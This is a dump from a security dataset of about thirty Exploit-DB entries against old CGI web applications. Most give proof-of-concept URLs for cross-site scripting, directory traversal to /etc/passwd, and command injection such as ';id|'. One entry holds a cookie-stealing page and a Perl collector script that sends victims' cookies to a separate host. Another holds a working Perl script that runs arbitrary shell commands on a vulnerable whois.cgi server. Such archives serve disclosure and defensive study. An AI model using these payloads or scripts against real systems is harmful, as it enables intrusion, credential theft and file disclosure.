deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26849
Description: ECTOOLS Onlineshop 1.0 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15891/info

ECTOOLS Onlineshop is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cart.cgi?action=link&product=%22%3E%3Cscri
pt%3Ealert('r0t')%3C/script%3E

http://www.example.com/cart.cgi?action=search&category=%22%3E%3Cs
cript%3Ealert('r0t')%3C/script%3E

http://www.example.com/cart.cgi?action=link&product=33&uid=%22%3E
%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #26847
Description: eDatCat 3.0 - EDCstore.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15889/info

eDatCat is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/EDCstore.pl?user_action=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #29390
Description: EditTag 1.2 - 'edittag.cgi?file' Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21890/info

EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 

Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag.cgi?file=INJECT
Exploit-DB #29391
Description: EditTag 1.2 - 'edittag.pl?file' Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21890/info
 
EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 
 
Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag.pl?file=INJECT
Exploit-DB #29392
Description: EditTag 1.2 - 'edittag_mp.cgi?file' Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21890/info
  
EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 
  
Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag_mp.cgi?file=INJECT
Exploit-DB #29393
Description: EditTag 1.2 - 'edittag_mp.pl?file' Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21890/info
   
EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 
   
Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag_mp.pl?file=INJECT
Exploit-DB #29396
Description: EditTag 1.2 - 'mkpw.cgi?plain' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21891/info
  
EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/edittag/mkpw.cgi?plain=XSS
Exploit-DB #29395
Description: EditTag 1.2 - 'mkpw.pl?plain' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21891/info
 
EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/edittag/mkpw.pl?plain=XSS
Exploit-DB #29394
Description: EditTag 1.2 - 'mkpw_mp.cgi?plain' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-01-05
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/21891/info

EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/edittag/mkpw_mp.cgi?plain=XSS
Exploit-DB #36772
Description: EditWrxLite CMS - 'wrx.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2012-02-13
Author: chippy1337

Exploit:
source: https://www.securityfocus.com/bid/51995/info

EditWrxLite CMS is prone to a remote command-execution vulnerability.

Attackers can exploit this issue to execute arbitrary commands with the privileges of the affected application. 

http://www.example.com/editwrx/wrx.cgi?download=;uname%20-a|
Exploit-DB #27141
Description: Elido Face Control - Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-01-26
Author: HSC Security Group

Exploit:
source: https://www.securityfocus.com/bid/16401/info

Face Control is prone to multiple directory-traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com/cgi-bin/e-cms/vis/vis.pl?s=001&p=../../../../etc/passwd%00

http://www.example.com/cgi-bin/e-cms/vis/vis.pl?s=../../../../etc/passwd%00
Exploit-DB #21877
Description: EmuMail 5.0 - Web Root Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2002-09-29
Author: FVS

Exploit:
source: https://www.securityfocus.com/bid/5823/info

Emumail is an open source web mail application. It is available for the Unix, Linux, and Microsoft Windows operating systems.

Under some conditions, Emumail may reveal sensitive configuration information. When unexpected characters are inserted into some fields in web mail forms, the form generates an error. The error page returned may contain the directory to the web root on the Emumail server.

By inserting a string such into the Email form:

<script>alert(@)</script>

Will return:

"Software error:
/\s+)my.com)</script>\s+/: unmatched () in regexp at /home/EMU/webmail/html/emumail.cgi line 834.
Exploit-DB #21878
Description: EmuMail 5.0 Email Form - Script Injection
Type: webapps
Platform: cgi
Date: 2002-09-29
Author: FVS

Exploit:
source: https://www.securityfocus.com/bid/5824/info

Emumail is an open source web mail application. It is available for the Unix, Linux, and Microsoft Windows operating systems.

It has been reported that EmuMail does not properly sanitize input. Under some conditions, it is possible to pass an email containing script or html code through the EmuMail web mail interface. This would result in execution of the script code in the security context of the EmuMail site.

Entering the string below into the email address field on the main form:

<script>alert(document.cookie)</script>
Exploit-DB #23810
Description: Emumail EMU Webmail 5.2.7 - 'emumail.fcgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2004-03-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/9861/info
 
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out cross-site scripting attacks and disclose the path to the victim's home directory. The issues are reported to exist in the login script, 'emumail.fcgi' script and the 'init.emu' sample script.
 
EMU Webmail 5.2.7 has been reported to be affected by these issues.

http://www.example.com/webmail/emumail.fcgi?passed=parse&variable=%3Cscript%3Ealert( %22G%22)%3C/script%3E
http://www.example.com/webmail/emumail.fcgi?passed=go_index&folder=<script>alert("G")</script>
Exploit-DB #23809
Description: Emumail EMU Webmail 5.2.7 - nit.emu Information Disclosure
Type: webapps
Platform: cgi
Date: 2004-03-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/9861/info

Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out cross-site scripting attacks and disclose the path to the victim's home directory. The issues are reported to exist in the login script, 'emumail.fcgi' script and the 'init.emu' sample script.

EMU Webmail 5.2.7 has been reported to be affected by these issues.

http://www.example.com/webmail/init.emu
Exploit-DB #25950
Description: eRoom 6.0 PlugIn - Insecure File Download Handling
Type: webapps
Platform: cgi
Date: 2005-07-06
Author: c0ntex

Exploit:
source: https://www.securityfocus.com/bid/14176/info

The eRoom plug-in is prone to an insecure file download handling vulnerability.

The issue is due to a design fault, where files that are shared by users are apparently passed to default file handlers when downloaded. This can occur without user knowledge, and can be a security risk for certain file types on certain platforms. 

 /* cookie.html */
  <html>
  <head>
    <title>Raiding the cookie jar</title>
  </head>
  <body>

  <br>
    <script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?' +document.cookie</script>
  <br>

  </body>
  </html>


  /* cookie.cgi */
  #!/usr/bin/perl
  use CGI qw(:standard);
  use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
  use strict;

  my $break = "<br>";
  my $browser = $ENV{'HTTP_USER_AGENT'};
  my $cookie = $ENV{'QUERY_STRING'};
  my $remote = $ENV{'REMOTE_ADDR'};
  my $referer = $ENV{'HTTP_REFERER'};
  my $reqmeth = $ENV{'REQUEST_METHOD'};

  print header;

  print "<html>",
        "<head><title>Cookie Jacker</title></head>",
        "<center><h1>Yummy!</h1>",
        "ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
        "$break$break$break$break",
        "<img src=\"/cookiemonster.jpg\">",
        "</center>",
        "$break$break$break$break\n";

  $cookie =~ s/;%20/$break/g;

  if($browser =~ /MSIE/) {
                print "Come on, is this the 90s or smtng!$break";
        } else {
                print "j00 are l33t$break";
  }

  print "Client connection came from $remote$break",
        "Refered by $referer$break",
        "Using $reqmeth$break$break",
        "$cookie\n";

  print end_html;
Exploit-DB #23127
Description: Escapade 0.2.1 Beta Scripting Engine - 'PAGE' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-09-09
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8573/info

A cross-site scripting vulnerability has been reported for Escapade. The vulnerability exists due to insufficient sanitization of some user-supplied values.

An attacker could exploit this issue to execute arbitrary HTML code in the browser of a remote user who follows a malicious link. Code execution would occur in the context of the vulnerable site. It has also been reported that this issue may be exploited to disclose the installation path of the affected software. 

http://www.example.com/cgi-bin/esp?PAGE=<script>alert(document.domain)
</script>
Exploit-DB #23128
Description: Escapade 0.2.1 Beta Scripting Engine - 'PAGE' Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2003-09-09
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8574/info

Escapade is prone to a path disclosure vulnerability. It is possible to gain access to sensitive path information by issuing a request for an invalid resource, passed as a value for the PAGE parameter to the Escapade Scripting Engine. 

http://www.site.com/cgi-bin/esp?PAGE=!@#$%
Exploit-DB #25041
Description: escripts software e_board 4.0 - Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-12-20
Author: white_e@nogimmick.org

Exploit:
source: https://www.securityfocus.com/bid/12048/info

It is reported that e_Board is vulnerable to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input.

By including '../' directory traversal sequences and a NULL (%00) in the affected URI argument, attackers may reportedly cause the contents of arbitrary, potentially sensitive web-server readable files to be included in the output of the requested page. 

http://www.example.com/cgi-bin/eboard40/index2.cgi?frames=yes&board=demo&mode=Current&threads=Collapse&message=../../../../../../../../../../../etc/passwd%00
Exploit-DB #23021
Description: Eudora WorldMail 2.0 - Search Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-08-12
Author: Donnie Werner

Exploit:
source: https://www.securityfocus.com/bid/8403/info

It has been reported that a cross-site scripting issue exists in the search utility of the software. It is possible that an attacker may create a malicious link containing script code that could be executed in a user's browser.

The successful exploitation of this issue might allow and attacker to steal cookie-based credentials from a vulnerable host.

http://www.example.com:8888/c%3dAE?%3FO=%3CSCRIPT%3Ealert%28document.cookie%29%3B%3C%2FSCRIPT%3E
Exploit-DB #26786
Description: EveryAuction 1.53 - Auction.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-13
Author: $um$id

Exploit:
source: https://www.securityfocus.com/bid/15824/info

EveryAuction is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to run arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/auction.pl?searchstring=[XSS]&action=search&searchtype=keyword
Exploit-DB #26914
Description: Extensis Portfolio Netpublish Server 7.0 - Server.NP Directory Traversal
Type: webapps
Platform: cgi
Date: 2005-12-20
Author: Andy Davis

Exploit:
source: https://www.securityfocus.com/bid/15974/info

Portfolio Netpublish Server is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to retrieve arbitrary files in the context of the affected application. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

Netpublish Server 7 is vulnerable; other versions may also be affected. 

http://www.example.com/server.np?base&site=XXXintra&catalog=catalog&template=../../../../../../../../../boot.ini
Exploit-DB #17259
Description: f-fileman 7.0 - Directory Traversal
Type: webapps
Platform: cgi
Date: 2011-05-07
Author: Raffaele Forte

Exploit:
Advisory:
ffileman 7.0 Directory Traversal Vulnerability

Credits: 
Raffaele Forte 
http://www.backbox.org

Tested Versions: 
ffileman 7.0

Software Link: 
http://sourceforge.net/projects/f-fileman/

Tested on: 
Unix

Category: 
Directory Traversal

Severity: 
Medium


Description:

Directory traversal vulnerabilities has been found in ffileman 7.0 a web 
based file and directory manager written with Perl.

The vulnerability can be exploited to access local files by entering 
special characters in variables used to create file paths. The attackers 
use “../” sequences to move up to root directory, thus permitting 
navigation through the file system.

The issue discovered can only be exploited with an authenticated session 
and setting the variable "direkt" like below with a HTTP GET or POST 
request.


Request:

GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1
Host: [webserver IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory


Disclosure:
2009-07-17 Fixed with version 8.0
Exploit-DB #27088
Description: Faq-O-Matic 2.711 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-01-16
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/16251/info

Faq-O-Matic is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues may be related to those discussed in BID 4565 and BID 4023 (Faq-O-Matic Cross Site Scripting Vulnerability). 

http://www.example.com/fom.cgi?cmd=recent&file=1&showLastModified=show&_submit=Show+documents&_duration=[code]
http://www.example.com/fom.cgi?file=[code]&showLastModified=show
http://www.example.com/fom.cgi?_insert=answer&cmd=[code]&file=1
Exploit-DB #242
Description: Fastgraf's whois.cgi - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2001-01-12
Author: Marco van Berkum

Exploit:
#!/usr/bin/perl
###############################################################
# whois.pl - Marco van Berkum - m.v.berkum@obit.nl            #
# homepage: http://ws.obit.nl - exploits Fastgraf's whois.cgi #                           
#                                                             #
# DO NOT EDIT THIS HEADER, else the bedbugs will bite         #
# Greets to sigmo for finding stupid POST examples            #
# Also greetings to DUCKEL (YES YOU HAVE CREDIT NOW ;))       #
#                                                             #
# Use like this:                                              #
# ./whois.pl www.ifyoureadthisyouaregay.com "ls -al"          #
###############################################################

use IO::Socket;
$host = $ARGV[0]; $command = $ARGV[1]; $length = length($command) + 8;

$sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => 80, Proto    => 'tcp');
if($sock) {
print $sock "POST http://$host/cgi-bin/whois.cgi HTTP/1.0
User-Agent: Whois Meta Character Exploit Browser :P
Host: $host
Content-length: $length

host=%7c$command\n\n";
sleep(3); # change to lower or higher, depending on your connection 
sysread($sock, $buffer, 100000);
        ($empty, $output) = split(/PRE/, $buffer);
        $output =~ s/[\<\>\/]//g;
        if($output) {
        print("$output\n");
       } else { print "No data, or not vulnerable\n";
     }
    } 
close $sock;


# milw0rm.com [2001-01-12]
Exploit-DB #24252
Description: Fastream NETFile FTP/Web Server 6.5/6.7 - Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-07-05
Author: Andres Tarasco Acuna

Exploit:
source: https://www.securityfocus.com/bid/10658/info

The NetFile FTP/Web Server is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data. This can allow an attacker to create, view, and delete arbitrary files outside the web root.

Fastream NetFILE FTP/Web Server versions 6.7.2.1085 and prior are reported prone to this issue.

http://www.example.com?command=mkdir&filename=..//FOLDER_IS_OUTSIDE_THE_ROOT_DIRECTORY
Exploit-DB #22228
Description: FileSeek - CGI Script File Disclosure
Type: webapps
Platform: cgi
Date: 2002-04-16
Author: Thijs Bosschert

Exploit:
source: https://www.securityfocus.com/bid/6784/info

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

FileSeek.cgi and FileSeek2.cgi are prone to a file disclosure vulnerability. It is possible for a remote attacker to submit a maliciously crafted web request which is capable of breaking out of the wwwroot directory and browsing arbitrary web-readable files on a host running the vulnerable script.

http://host/cgi-bin/FileSeek.cgi?head=&foot=....//....//....//....//....
//....//....//etc/passwd
http://host/cgi-bin/FileSeek.cgi?head=....//....//....//....//....//....
//....//etc/passwd&foot=
Exploit-DB #22227
Description: FileSeek CGI Script - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2002-04-16
Author: Thijs Bosschert

Exploit:
source: https://www.securityfocus.com/bid/6783/info

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

It has been reported that FileSeek.cgi and FileSeek2.cgi do not filter shell metacharacters from web requests. As a result, it is possible for a remote attacker to execute commands on the shell of a host running the vulnerable script. Commands will be executed with the privileges of the webserver process.

This impact of this vulnerability is that an attacker may gain local, interactive access to the host.

http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=;id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=;id|&foot=

http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=|id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=|id|&foot=